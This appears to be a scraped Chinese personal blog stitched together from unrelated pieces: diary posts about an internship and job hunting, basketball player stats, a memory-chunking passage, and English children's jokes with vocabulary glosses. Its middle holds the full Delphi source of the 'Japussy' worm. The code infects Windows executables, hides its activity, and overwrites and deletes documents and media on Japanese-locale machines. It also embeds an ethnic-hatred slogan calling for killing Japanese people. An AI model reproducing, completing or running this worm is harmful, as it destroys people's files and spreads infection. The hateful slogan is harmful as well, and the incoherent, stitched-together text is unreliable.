特雷西-麦克格雷迪 / Tracy McGrady / 1 位置: 得分后卫 / 小前锋 身高: 2.03米 / 6尺8 体重: 101公斤 /223 磅 生日: 1979-05-24 球队: 休斯敦火箭 选秀: 1997年第1轮第9位

Michael Jordan / 迈克尔-乔丹 位置: G 身高: 1.98米 / 6尺6寸 体重: 98公斤 / 216磅 生日: 1963-02-17 选秀: 1984年第1轮第3位 学校: North Carolina

---

以下才是我要说的：

    书接上回

说道俺们单位

谁知道没几天俺们就经历了死去活来的工作经历！！

隔壁保安部天天跟16亿广大人民群众抗衡！！

每天都能看到直播：游行，静坐等活动！

所以今年奖金铁定他们最多！

低调！

 

还有说到俺们部门也来美女了

而且还单身，然后旁边保安部为了舒缓压力，茶余饭后使劲聊天！

于是乎，关于她跟俺的传闻不胫而走

她叫Tracy

所以这场巨星之战，鹿死谁手。。。。

吃饭先，下回再写。。。。。。。。。

 

本人还活着，

之前不是网络问题就是时间问题，所以迟迟不能更新

经过春节的洗礼（刚看完贺岁片，有时差！）

实习了三个月了

公务员成绩出了

考验成绩出了

我们老板david走了

部门有美女了

》》》》》》》》》》》》》》》》

时间如白驹过隙

清明时节雨纷纷

事已至此，走的走好，吃的吃好，玩的玩好，慢慢来

希望cpi缓一缓

工资涨一张

 

以上算拜晚年的

 

 

就等１号拿钱了！ｙｅａｈ

 

另外，我老板ｈａｒｒｙ的老板ｄａｖｉｄ是美国人，美音很难听懂，ｓｈｉｔ！

 

有个比我高级的同事ｂｏｂ，是排给水ｅｎｇｉｎｅｅｒ，很好玩！

 

小平同志取了个英文名ｊａｃｋ

 

我很厚脸皮的取ｍｉｃｈｅａｌ

 

最最过瘾的是零售公司，女的很多！

住在家乐福

有一天，一个兔子过来

他问兔子：你买啥

兔子说，买海盗

于是海盗把自己卖了

好冷啊！！！！！！！！！！

主要原因在于前些年没有招到优秀人才的企业纷纷早早开招聘会

于是我们也就职能早早纷纷下海

参加就业大军的海选

我生你养你

这些日子以来供书教学

一把屎一把尿把你拉扯大

想不到今天白头人送黑头人

——送给前天打球，我脚上爆掉的水泡

好像越来越少来博客了

韩寒来了居然

 

9月：

开学到现在，在看公务员的书

猪姐姐来看我们

帮小妹妹买电脑

今年还有特产吃

台风也常来

中秋和国庆走了

武汉PASS同学来回访

去看了两回女足世界杯

（德国和美国的表现相当伤我心——没在我面前进过一球，

还好看到马塔全新的女足诠释）

越狱又出现了

头发也长了

10月：

简历准备好了

开始找工作了

sura挂了

（见过的第一部会死女主角的电视剧

我觉得下一季还会有sura的）

大金，美的都开始招人了

我狂投

还有，快要结束信用卡的首尾了

 

---

---

上海尔华杰机电装备制造有限公司是在上海化工机械二厂整体改制的基础上新组建的有限责任公司。

经常看书看新闻

还借了一堆书，装装也好

 

自从燃烧学考试被徐开义鄙视之后

练了下下字体

抄唐诗三百首

刚开始而已

 

有人说

我现在说话变得有水平了

现在用成语多了

 

前几天到睡神新窝做饭吃

我生平第一回做的菜

韭黄炒蛋

获得高度评价，最快被吃完

念尸和懦弱的土豆炒肉和丝瓜肉汤稍逊一筹

 

过几天可能有朋自远方来

而且好几朋！

实习还在找，因为有短学期，不急

 

今天最高36度

 

难道大四就是这样的？

我又能摸篮框了，半节手指节……

至于之前发的病毒源代码，我也看不懂

那篇有深度的是抄来的，是说大师的思维方法和平凡人的思维方法的区别

---

下面是一段有点深度的话：

以“Mary had a little lamb”(玛丽有一只小羊羔)这句诗为例。诗里的信息模块数取决于读者对诗歌与英语的熟悉程度。对于以英语为母语的人，这句诗是一个非常大的模块——著 名诗歌的一部分；对于懂英语却不懂诗歌的人，这就是一句话——一个完整的模块；对于记得单词却不明白含义的人，这句话是5个模块(单词)；而对于认得字 母，却不认识单词的人，这句诗就是18个模块(字母)！

谁知道！

谁知道竟然今天说开卷！

OH！YEAH！

天开眼了！

uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记//垃圾码，以备写入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
 ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
 ''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
 Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
 Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
 dStream := TFileStream.Create(FileName, fmCreate);
 try
 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
 dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
 finally
 dStream.Free;
 end;
 finally
 sStream.Free;
 end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
 if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染
 Exit;
 Infected := False;
 IsPE := False;
 SrcStream := TFileStream.Create(FileName, fmOpenRead);
 try
 for i := 0 to $108 do //检查PE文件头
 begin
 SrcStream.Seek(i, soFromBeginning);
 SrcStream.Read(Buf, 2);
 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
 begin
 IsPE := True; //是PE文件
 Break;
 end;
 end;
 SrcStream.Seek(-4, soFromEnd); //检查感染标记
 SrcStream.Read(iID, 4);
 if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
 Infected := True;
 finally
 SrcStream.Free;
 end;
 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
 Exit;
 IcoStream := TMemoryStream.Create;
 DstStream := TMemoryStream.Create;
 try
 aIcon := TIcon.Create;
 try
 //得到被感染文件的主图标(744字节)，存入流
 aIcon.ReleaseHandle;
 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
 aIcon.SaveToStream(IcoStream);
 finally
 aIcon.Free;
 end;
 SrcStream := TFileStream.Create(FileName, fmOpenRead);
 //头文件
 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
 //写入病毒体主图标之前的数据
 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
 //写入目前程序的主图标
 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
 //写入病毒体主图标到病毒体尾部之间的数据
 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
 //写入宿主程序
 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
 //写入已感染的标记
 DstStream.Seek(0, 2);
 iID := $44444444;
 DstStream.Write(iID, 4);
 finally
 HdrStream.Free;
 end;
 finally
 SrcStream.Free;
 IcoStream.Free;
 DstStream.SaveToFile(FileName); //替换宿主文件
 DstStream.Free;
 end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
 SetFileAttributes(PChar(FileName), 0); //去掉只读属性
 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
 try
 Size := GetFileSize(FileHandle, nil); //文件大小
 i := 0;
 Randomize;
 Max := Random(15); //写入垃圾码的随机次数
 if Max < 5 then
 Max := 5;
 Mass := Size div Max; //每个间隔块的大小
 Len := Length(Catchword);
 while i < Max do
 begin
 FileSeek(FileHandle, i * Mass, 0); //定位
 //写入垃圾码，将文件彻底破坏掉
 FileWrite(FileHandle, Catchword, Len);
 Inc(i);
 end;
 finally
 FileClose(FileHandle); //关闭文件
 end;
 DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
 D := Chr(i + 65);
 Str := D + '''''''''''''''':\'''''''''''''''';
 DiskType := GetDriveType(PChar(Str));
 //得到本地磁盘和网络盘
 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
 Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
 if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and
 (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then
 Result := 0 //不是目录
 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and
 (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then
 Result := 1 //不是根目录
 else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
 repeat
 PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
 if IsValidDir(SearchRec) = 0 then
 begin
 Fn := Path + SearchRec.Name;
 Ext := UpperCase(ExtractFileExt(Fn));
 if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then
 begin
 InfectOneFile(Fn); //感染可执行文件
 end
 else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then
 begin
 //感染HTML和ASP文件，将Base64编码后的病毒写入
 //感染浏览此网页的所有用户
 //哪位大兄弟愿意完成之？
 end
 else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件
 begin
 //获取Outlook邮件地址
 end
 else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件
 begin
 //获取Foxmail邮件地址
 end
 else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件
 begin
 //获取Foxmail邮件地址end
 else
 begin
 if IsJap then //是倭文操作系统
 begin
 if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or
 (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or
 (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or
 (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or
 (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or
 (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then
 SmashFile(Fn); //摧毁文件
 end;
 end;
 end;
 //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
 Sleep(200);
 until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then
begin
 repeat
 if IsValidDir(SearchRec) = 1 then
 SubDir.Add(SearchRec.Name);
 until (FindNext(SearchRec) <> 0);
 end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
 LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
 IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
 for i := Len downto 1 do //遍历每个磁盘驱动器
 LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之
 SendMail; //发带毒邮件
 Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
 //远程线程映射到Explorer进程
 //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then
 InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
 TmpFile := ParamStr(0); //创建临时文件
 Delete(TmpFile, Length(TmpFile) - 4, 4);
 TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件，多一个空格
 ExtractFile(TmpFile); //分离之
 FillStartupInfo(Si, SW_SHOWDEFAULT);
 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
 0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之
 InfectFiles; //感染和发邮件
end;
end.

---

Who Shot Abraham Lincoln

Mr. Smith and his son Rick were called to teacher 's classroom.

“ Mr. Smith, ” said the teacher, “ I asked Rick 'Who shot Abraham Lincoln?' and he said that he didn't do it! ”

“ Well, teacher, ” said Smith, “ if my kid said he didn't do it — he didn't do it! ” Father and son left the school, and on their way home, Smith turned to the boy and asked, “ Tell me, son, did you do it? ”

 

Change

A lady lost her handbag during a day of shopping. It was found by an honest little boy and returned to her. Looking in her purse, she commented, “Hmmm.... That's funny. When I lost my bag there was a $20 bill in it. Now there are twenty singles.” The boy quickly replied, “That's right, lady. The last time I found a lady's purse, she didn't have change for a reward.”

 

Autograph (签名)

“ Dad, Can you write in the dark? ”

“ I think so. What is it you want me to write? ”

“ Your name on this report card. ”

Have a Wife

At Sunday School they were doing the Creation story and Johnny heard how Eve was created from Adam's side.

Later that week Johnny's mother noticed him lying down as though he was ill and she asked:

What's the matter with you?

I have a pain in the side., I think I'm going to have a wife

Free Haircut

A man and a little boy entered a barbershop together. After the man received the full treatment - shave, shampoo, manicure, haircut, etc. - he placed the boy in the chair.
　　 “ I'm goin' to buy a green tie to wear for the parade,” he said. “I'll be back in a few minutes.”
When the boy's haircut was completed and the man still hadn't returned, the barber said, “Looks like your daddy's forgotten all about you.”
“That wasn't my daddy,” said the boy. “He just walked up, took me by the hand and said, 'Come on, son, we're gonna get a free haircut!”

 

 

Go to School

Tommy had reached school age. His mother managed with a blast of [1]propaganda to make him enthusiastic about the idea. She bought him lots of new clothes, told him of the new friends he'd meet and so on. Came the first day, he eagerly went off and came back home with a lot of glowing reports about school.

Next morning when she woke him up, he asked “What for ?” She told him it was time to get ready for school. 

“What, again ?” he asked.

Happy Birthday to You

A mother took her three-year-old daughter to church for the first time. Thee church lights were lowered, and then the choir came down the [2]aisle , carrying lighted candles. All was quiet until the little one started to sing in a loud voice, “Happy birthday to you. Happy birthday to you...” Adam's Suit

A little boy opened the big and old family Bible. With [3]fascination , he looked at the old pages as he turned them. Then something fell out of the Bible and he picked up and looked at it closely. It was an old leaf from a tree that has been pressed in between pages. “ Momma, look what I found, ” the boy called out. “ What have you got there, dear? ” his mother asked. With [4]astonishment in the young boy's voice he answered, “ I think it's Adam's suit!!!!! ”

Stupid

A young girl is with her dad at the barbers eating some candy, when it slips from her fingers into a pile of hair on the floor.

“Oh dear, have you got hair on your candy?” asked the barber.

“Don't be so stupid, I'm only three!!” said the girl!

Nearly

Father: How did you exams go ?

Son: I got nearly 100 in every subject

Father: What do you mean, nearly 100 ?

Son: The questions didn't give me any trouble, just the answers !

[注释1] propaganda n. 宣传

[注释2] aisle n. 走廊， 过道

[注释3] fascination n. 魔力 , 入迷 , 魅力 , 迷恋 , 强烈爱好

[注释4] astonishment n. 惊讶

 

Answer

Teacher to student: Arnold what is the most popular answer to the teacher's questions?

Arnold : I don't know ma'am.

Teacher: Correct!'

A Natural Childbirth

A boy was assigned a paper on childbirth and asked his parents, “ How was I born? ”

“ Well honey... ” said the slightly prudish[1] parent, “ the stork[2] brought you to us. ”

“ Oh, ” said the boy. “ Well, how did you and daddy get born? ” he asked.

“ Oh, the stork brought us too. ”

“ Well how were grandpa and grandma born? ” he persisted.

“ Well darling, the stork brought them too! ” said the parent.

Several days later, the boy handed in his paper to the teacher. The opening sentence is:

“ This report has been very difficult to write due to the fact that there hasn't been a natural childbirth in my family for three generations. ”

Presents

It was the last day of school, and all the students were bringing presents for their teacher. A florist[3] 's daughter came up and gave her teacher a box. The teacher said, “ I'll bet these are flowers! ” The girl replied, “ How did you know? “ Just a lucky guess, ” she said.

Next, a boy whose family owned a candy store came up and gave the teacher a box. She said that she knew it was candy. When the boy asked how she knew, she again said, “ Just a lucky guess. ”

Finally, a boy whose father owned a liquor store came up and gave the teacher a box, but one of the box's corners was damp[4] from a leak. The teacher asked the boy if it was wine. The boy said, “ No. ” She touched the leak and put it to her tongue and asked if it was champagne[5] . The boy again said no. Finally, she gave up and asked him what was in the box. He said happily, “ A puppy[6]! ”

 

Not Enough

A child comes home from his first day at school. His Mother asks, “Well, what did you learn today?”
    The kid replies, “Not enough. They want me to come back tomorrow.”

Scare

The little boy wasn't getting good marks in school. One day he made the teacher quite surprised. He tapped her on the shoulder and said. “ don't want to scare you, but my daddy says if I don't get better grades, somebody is going to get a spanking[7].”

Cosmetology

Little Johnny watched, fascinated, as his mother smoothed cold cream[8] on her face. “ Why do you do that, mommy? ” he asked. “ To make myself beautiful, ” said his mother, who then began removing the cream with a tissue[9]. “ What's the matter? ” asked Little Johnny. “ Giving up? ”

 

Play

A little girl asked her mother, “ Can I go outside and play with the boys? ” Her mother replied, “ No, you can't play with the boys, they're too rough. ” The little girl thought about it for a few moments and asked, “ If I can find a smooth one, can I play with[10] him? ”

 

 

Understand

A boy had reached four without giving up the habit of sucking his thumb[11], though his mother had tried everything from bribery[12] to reasoning to painting it with lemon juice to discourage the habit. Finally she tried threats, warning her son that, “If you don't stop sucking your thumb, your stomach is going to blow up[13] like a balloon.” Later that day, walking in the park, mother and son saw a pregnant woman sitting on a bench. The four-year-old considered her gravely for a minute, then spoke to her saying, “Uh-oh...I know what you've been doing.”

You Are Jesus

A mother was preparing pancakes for her sons, Kevin, age 5 and Ryan, age 3. The boys began to argue over who would get the first pancake. Their mother saw the opportunity to teach a moral lesson and said, “If Jesus were sitting here, he would say, 'Let my brother have the first pancake. I can eat when he is finished.'

So Kevin turned to his younger brother and said, “Ryan, you be Jesus.”

Answer

A first grade teacher was telling her class about the 3 little pigs. She got to the part where the pigs get the building materials and said, “The first little pig went up to[14] a man and asked, ‘ Excuse me sir, but may I have some straw to build a house?'”

The teacher wanted to know if the class was paying attention so she asked, “What do you think the man said?”

One boy raised his hand and said, “I think maybe the man said something like, ‘WOW! A talking pig!'”

[注释1] prudish adj. 过分规矩的， 装正经的

[注释2] stork n. [ 鸟 ] 鹳

[注释3] florist n. 种花人

[注释4] damp adj. 潮湿的

[注释5] champagne n. 香槟酒， 香槟色

[注释6] puppy n. ( 常指未满一岁的 ) 小狗， 小动物， 自负的青年

[注释7] spanking n. 拍击， 打屁股； adj. 强烈的， 疾行的； adv. 显著地

[注释8] cold cream n. 雪花膏， 冷霜 ( 一种化妆品 )

[注释9] tissue n. 薄纸， 棉纸， 薄的纱织品

[注释10] play with 玩， 戏弄， 摆弄； 不大认真考虑 ( 某一问题 )

play with fire 玩火， 做危险的事

[注释11] thumb n. 拇指； vt. 以拇指拨弄， 笨拙处理， 弄坏， 翻阅， 作搭车手势

[注释12] bribery n. 行贿； 贿赂， 受贿， 被收买 commit bribery 行 [ 受 ] 贿

[注释13] blow up 形成 A storm blew up. 风暴骤起。

[注释14] go up to 前往

 

 

Pity

A new teacher was trying to make use of her psychology courses. She started her class by saying, “ Everyone who thinks you're stupid, stand up! ”

After a few seconds, Little Johnny stood up. The teacher said, “ Do you think you're stupid, Little Johnny? ”

“ No, ma'am, but I hate to see you standing there all by yourself[3]!

Threaten

A mafioso's son sits at his desk writing a Christmas list to Jesus. He first writes, “Dear baby Jesus, I have been a good boy the whole year, so I want a new...” He looks at it, then crumples[4] it up into a ball and throws it away.

He gets out a new piece of paper and writes again, “Dear baby Jesus, I have been a good boy for most of the year, so I want a new...” He again looks at it with disgust and throws it away.

He then gets an idea. He goes into his mother's room, takes a statue of the Virgin Mary, puts it in the closet, and locks the door. He takes another piece of paper and writes, “Dear baby Jesus. If you ever want to see your mother again...

Puzzle

Mom and Dad were trying to console[5] Susie, whose dog had recently died.

“ You know, it's not your fault that the dog died. He's probably up in heaven right now, having a grand old time with God. ”

Susie, still crying, said “ What would God want with a dead dog? ”

Where is God?

A little girl was eating a doughnut[6] on her way to church. Since she could not eat inside, she left it outside and she prayed, “ God, will you please watch my doughnut and not go anywhere else? Thank you! ” Then she went inside. When the priest said, “ God is here, God is there, and God is everywhere! ” The little girl said, “ You are wrong! God is outside watching my doughnut! ”

Punish

Boy: Will you punish me for something I didn't do?

Teacher: Of course not!

Boy: Good cause I didn't do my homework!

The Ugliest

Three friends die and go to heaven. The first guy gets handcuffed[8] to one of the ugliest girls there.

“ Why? ” he asks.

St. Paul replies, “ When you were nine you killed a bird with a stone. ” The same happens to the second guy. He asks why.

St. Paul replies, “ When you were nine you killed a bird with a stone. ” The third guy laughs at his friends and says, “ Thank God I didn't do anything like that. ” He gets handcuffed to the prettiest girl in heaven. The other two guys ask, “ Why? ”

“ Because when she was nine she killed a bird with a stone 。”

Puzzle

A group of kindergarten[10] children were on a class outing to their local police station where they saw pictures, tacked to a bulletin board[11], of the 10 most wanted men.

One of the youngsters pointed to a picture and asked if it really was the photo of a wanted person.

“ Yes, ” answered the policeman.

“ Well, ” wondered the child, “ why didn't you keep him when you took his picture? ”